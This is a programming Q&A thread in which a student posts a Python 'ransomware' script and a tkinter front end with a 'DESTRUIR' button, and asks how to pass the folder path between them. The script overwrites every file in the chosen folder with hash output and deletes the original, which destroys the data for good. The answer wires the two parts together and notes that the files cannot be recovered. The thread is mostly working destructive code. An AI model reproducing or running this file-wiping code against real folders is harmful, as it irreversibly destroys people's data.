I want to "capture" the path and use it in another program

1

I have a "ransomware", in which I put a path to a folder and it encrypts / destroys

I have a job to present in college where I have to create a graphical interface, I created a simple screen, with 2 buttons and a text cx, the text cx would be where the user would put the folder path and then the 2 buttons, 1 would be to run the code and the other to exit the program

Ransomware Code:

import hashlib
import os
import string
import sys

                    #Windows - teste
#c = 'C:\Users\teste\Desktop\teste' 

                    #teste import
c = '' #AQUI Q EU GOSTARIA DE IMPORTAR O CAMINHO QUE O USUÁRIO ESCREVER NA CX DE TEXTO 


for files in os.listdir(c):
    os.chdir(c)
    with open(files, 'rb') as r:
        data = r.read()
        encrypt = hashlib.sha512(data).hexdigest()
        encrypt = encrypt.encode('utf-8') #resolveu o erro
        new_file = '(perdido)' +os.path.basename(files)
        with open(new_file, 'wb') as n:
            n.write(encrypt*0x31)
            n.close()
            r.close()

            os.remove(files)

GUI code:

from tkinter import *

#corpo do programa
janela = Tk()
janela.title("Destruir.exe")
janela.geometry('300x200+0+0')
#--

#definições
    #definição da ação que o botão1 vai fazer ao ser pressionado
def botao_pressionado():
    import imp

def botao2_pressionado():
    exit()
#--

#botão
    #botão1 = ação
        #especificações do botão1, coordenadas, texto e ação
b1 = Button(janela, text="DESTRUIR", command = botao_pressionado)
b1.pack(anchor = W)
b1.place(x=110, y=80)

    #botão2 = sair
        #sai do programa
b2 = Button(janela, text="SAIR", command = botao2_pressionado)
b2.pack(anchor = W)
b2.place(x=130, y=110)
#--

#campo de escrita/entrada de informação
    #usuário fornece a informação
e1 = Entry(janela)
e1.pack(side=TOP)
e1.place(x=50, y=50)
#--

janela.mainloop()
    
asked by anonymous 04.11.2018 / 23:31

1 answer

2

When you use graphical interface, usually the script that runs mainloop() becomes the "main", so it is the one that should import the other script.

For this you must encapsulate the functionality of the script in a function or method, so that you can call it at ease when imported.

For example, in your file ransomware.py place the code inside a function called destruir_pasta which receives c as a parameter:

ransomware.py :

import hashlib
import os
import string
import sys    

def destruir_pasta(c):    
    for files in os.listdir(c):
        # ... etc resto do código aqui ...

Then in the other file gui.py within botao_pressionado , you can call this function:

gui.py

import ransomware

def botao_pressionado():
    pasta_digitada = e1.get() # pega o valor do Entry e1
    ransomware.destruir_pasta(pasta_digitada)

The function destruir_pasta has been set to receive as a c the folder to be destroyed, so simply recover the value entered by the user from Entry and pass this value to the function.

NOTE: Remembering that your code as it is written actually destroys the folder, so there will be no way to recover the files later, even if the "victim" paid the ransom. So the name destruir_pasta is suitable.

    
04.11.2018 / 23:52